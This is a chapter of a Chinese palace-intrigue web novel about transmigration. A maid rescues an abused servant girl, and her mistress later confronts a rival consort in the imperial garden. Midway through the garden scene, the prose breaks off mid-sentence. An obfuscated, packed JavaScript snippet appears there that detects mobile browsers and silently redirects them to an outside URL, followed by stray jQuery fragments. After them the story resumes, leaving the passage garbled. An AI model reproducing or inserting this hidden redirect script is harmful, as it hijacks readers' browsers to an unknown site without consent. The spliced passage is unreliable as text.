61. 试探

作品:《既见公子(穿书)

    回去的路上,白南絮想通了很多。


    从明靖的表现来判断,现在并非是又一次的重置,而是连续了上一次的时间线。也许,重置的关键只在于风荷衣,只要她还活着,这个世界就能继续运作下去,不过不知道的是……自己还有没有试错的机会。


    想起明靖刚刚那炽热的眼神,白南絮猛地摇摇头,心中顿觉一凉。


    不对劲,不该是这样的,男女主之间应是情意相许,不可以受到她的影响。


    幸好自己现在的身体,和之前的情况大相径庭,哪怕引起怀疑,打死不承认就是。只是……


    她想起自己背上背着的小宫女,思考自己是不是又多管闲事了。


    ==


    碧荷苑内,早早便灭了灯,一片漆黑寂静。


    白南絮悄悄推开了大门,背着杏儿,往自己的房间走去。


    进了房内,用布巾裹住她湿透的身体,白南絮点燃了灯,从柜子里翻出几粒驱除寒气的药丸,塞进杏儿嘴里。


    药丸在舌尖化开,杏儿也悠悠转醒,睁开了双眼。


    “醒了?还有没有哪儿不舒服?”白南絮凑上前问道。


    杏儿愣了一下,随即缩起身体,有些紧张地环视四周:“我,我这是在哪里?”


    “这是在碧荷苑,我夜间经过御花园,见你掉进水里,就把你带了回来。”


    “碧…碧荷苑。”杏儿的表情却愈发惊恐,她慌乱地想要站起来:“不行,不行,如果被娘娘知道我在这里,肯定会以为我吃里扒外,要打死我。”


    白南絮摇摇头,伸手,按住了她的肩膀:“连死都不怕的人了,还怕你们娘娘动怒?你们娘娘比罗刹恶鬼还可怕吗?”


    “没有,娘娘不是……”杏儿脸色苍白,下意识便想反驳。


    “先把湿衣裳换下来吧,免得受了寒湿。”白南絮从自己的衣柜中翻出几件衣裳:“对你来说可能大了一点点,先将就吧。”


    “谢,谢谢姐姐。”杏儿看了眼自己现在的样子,着实有些狼狈,颤抖着双手,将衣物接了过去,衣袖滑落,白南絮看见她手臂上,满是交错的血痕,有新的,有旧的,有些已经开始掉痂,有的却还泛着红肿。


    饶是见识过许多打打杀杀的事,看到这样的伤,出现在一个小女孩的身上,白南絮心中还是涌起一阵怒火。


    “你们娘娘就这般狠心?下此毒手?”


    杏儿将衣裳拢好,低下头去,泪珠子忍不住往下掉:“姐姐,今夜谢谢你,只是我得快点回去了,免得留在这里,会给你惹来麻烦。”


    “麻烦?什么麻烦?”一个清丽的声音响起,房门被人轻轻推开。


    只见风荷衣站在门口,她此时披着外袍,长发只简单挽起,眼中有几分困意,但瞥见房内还有另一个人时,惊讶地睁大了双眼。


    “菡嫔,菡嫔娘娘。”被抓了个正着,白南絮还来不及思考该如何解释,一时语塞。


    杏儿立刻翻身下床,跪在地上:“奴婢参见菡嫔娘娘!”


    风荷衣轻轻扫了杏儿一眼,有些不可思议道:“云因,这好像不是碧荷苑的人吧?”


    见白南絮一脸为难,杏儿的硬着头皮答道:“菡嫔娘娘,奴婢是倾颜阁的人。”


    “什么?”风荷衣秀眉一蹙:“云因,你也太胆大包天了,这么一个大活人,也敢往我们宫里偷。”


    “不是偷,不是偷。”白南絮连忙解释:“是救,奴婢只是路过御花园,见她落水昏迷,甚至可怜,才把她带到这里,奴婢什么都不知道。”


    “什么都不知道?”风荷衣一脸狐疑地盯着白南絮,让她感觉有些心虚。


    见白南絮不愿解释,风荷衣也不过多纠结,转头对着杏儿道:“你,起来说话,把手伸出来。”


    闻言,杏儿低下了头,胆怯地伸出了手,手心朝上,将眼睛闭得紧紧的。


    “不是要打你。”风荷衣无奈地笑了,她上前一步,指尖搭在了杏儿的腕上。


    “娘娘……”杏儿心中一惊。


    “嘘。”风荷衣示意她噤声,闭上眼,仔细感受着杏儿的脉象,眉头拧得越来越紧。


    良久,风荷衣松开了手,将杏儿的衣袖一捋,看着手臂上遍布的伤痕,脸上染上一丝愠怒:“年纪还这么小,不仅有寒症,体虚,还有内伤外伤,再不好好医治,恐怕……云因,我待会儿写个方子,你明日一早就去太医院抓药来。”


    听了这番话,杏儿受宠若惊,她心中一暖,红了眼眶:“多谢娘娘关心,不过奴婢还得回去给贵人请罪,就不麻烦了。”


    “都这么晚了,你今夜就在此休息吧。”


    杏儿依旧摇头,风荷衣没好气道:“你非要回去,也不应该是现在,听说今夜宫里不太平,你这小丫鬟走出去没几步,恐怕就会被当成刺客抓了,要回,就明天白天,堂堂正正地回去!”


    说这话时,风荷衣收敛了笑容,语气也带上了不容置疑的威严。


    “你就听话吧,横竖都是要挨罚的,还不如先过完这一夜。”白南絮拍了拍杏儿的肩膀,宽慰道,见杏儿终于不再拒绝,这才放下心。


    “云因,你今夜,去我那边。”风荷衣给白南絮使了个眼色,带着她走出了房间。


    ==


    “你今晚去了倾颜阁?”一出房门,风荷衣便不假思索地问。


    “是的。”想到自己引起的风波,白南絮心里打起了鼓。


    “有什么发现吗?”风荷衣却并未责问,只是充满了好奇。


    “奴婢……奴婢发现,那玉贵人,不过是个徒有其表,心如蛇蝎的女人。”白南絮盘算着什么该说什么不该说,斟酌着用词。


    “徒有其表?”风荷衣眸光一转:“她如此受宠,这么说来,那皇帝也只是个见色忘义的人了?”


    白南絮摇摇头,又点点头。


    风荷衣发出一声轻笑:“既如此,我明日便去会会这女子,看看她到底有什么过人之处。”


    “娘娘,你不是说要深居简出,静观其变吗?”白南絮有些疑惑地问。


    “也该出去走走了,不然,要眼看着杏儿去死吗?”风荷衣眨了眨眼,眼神温和,又带着几分狡黠。


    这一刻,白南絮感觉仿佛回到了从前,她们彼此信任,默契无间的时光。


    “好呀。”白南絮开口回应道,眼神也明亮了起来。


    ==


    清晨,阳光透过薄薄的云层,御花园内,鲜花开得正盛,露水清新的气息和馥郁的花香混杂在风中。


    玉贵人身着纱裙,步履轻盈地漫步花间,她素手轻挑,命身边的宫女们采摘自己看中的花朵。


    宫女们领命后,便忙碌起来,动作小心翼翼,生怕弄坏了这些娇嫩的花朵。太阳渐渐升起,她们手臂上挎着的篮子里,鲜花堆得高高的,色彩斑斓,香气扑鼻。


    一样样试,她总能找到陛下心爱的那种香气吧。玉贵人摘起一朵鲜花轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795186|156713||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嗅,心情也随之愉悦起来。


    然而,就在这时,一阵悦耳动听的琴声悠悠传来,打断了她的遐思。这琴声清脆悠扬,如同泉水叮咚,又似鸟鸣啁啾,让人不禁心生神往,想要一探究竟。


    玉贵人微微一愣,脸上浮现出一丝好奇的神情,不由地沿着琴声的方向走去。


    穿过一片树木,水池边,伫立着一座玲珑精致的亭子。


    亭中坐着一位少女,此时,她正专注地弹奏着,琴声从她的指尖流淌而出,与周围的景色融合在一起。


    玉贵人是喜欢听曲的,但她从不知道,宫里还有这样一位技艺高超的琴师,这让她不禁产生一丝警惕。眼见少女手中的琴朴素得没有一点装饰,身上穿着的也是宫女的服饰,玉贵人回过神来,脸色阴沉下来:“大胆,是哪儿来的狐媚子,光天化日,在此招摇?”


    “是本宫吩咐的,打扰到妹妹,真是抱歉。”一个清冷的声音响起,玉贵人这才看清,在亭子的侧面,还坐着一名衣着华贵的女子。


    她站起身来,看见玉贵人的那一刹那,轻蹙秀眉,但很快又恢复了笑意,她气质脱俗,宛如清莲出水般,不染尘埃。


    “你是,菡嫔?”玉贵人努力思索,终于确定了眼前人的身份。


    “不错,早就听闻妹妹冰肌玉骨,倾国倾城,今日一见,果真如此。”风荷衣语气柔和,不吝赞美,这般温婉的样子反而让玉贵人感受到了几分威胁。


    “姐姐不是身体抱恙嘛,那就该好好在自己宫中休养,不该出来如此招摇。”玉贵人微微扬起下巴,语气轻蔑道。


    风荷衣却没有一丝恼怒:“今儿天气凉爽,才想着出来散心,妹妹不如过来同我一起,赏花听琴,多么雅趣。”


    说完,她便转过身,提起桌案上的茶壶,亲自倒了杯茶。


    见她如此客气,玉贵人也不好再发作,拂袖坐下。而风荷衣只是闭目聆听,看起来轻松而惬意。


    但她心中的烦躁已被勾起,不一会儿,便冷声打断道:“靡靡之音,不堪入耳。”


    “是吗?”风荷衣轻笑一声:“那不知妹妹听过何等仙乐,可否让我也听听?”


    “你!”玉贵人一时语塞。


    这时,一个娇小的身影向这边跑来,“扑通”一声,便跪在了玉贵人面前。


    “求娘娘饶恕奴婢,让奴婢继续伺候娘娘。”杏儿不待她反应,便在地上磕起了头。


    “你给我起来,回去再说!”感受到风荷衣看好戏般的眼神,玉贵人心中一窒,怒火中烧。


    “奴婢该死,奴婢该死。”杏儿停住了磕头,却伸手,自己打起了巴掌,她边打边掉眼泪,一副悔不当初,痛心疾首的样子。


    御花园人多眼杂,路过的宫人虽未停留,但也忍不住窃窃私语起来。


    “听闻陛下爱民如子,想不到妹妹对待宫人,却如此严苛。”风荷衣唇角勾起一抹笑意,又饮了一口茶。


    “来人,给我带着她回去。”玉贵人再也忍不住,站起身来,示意身旁的宫女把杏儿拉起来。


    “哎?妹妹,这曲儿都没听完,怎么就要走了。”风荷衣也站了起来,挡在杏儿面前。


    “你给我让开!”玉贵人一时气急,伸手想要推开风荷衣:“一个失宠的嫔妃,也敢拦本宫?”


    而白南絮也暗暗停下了弹奏,指尖勾起,伺机而动。


    正在场面就要失控时,一声“皇上驾到”,让她们纷纷停下了动作。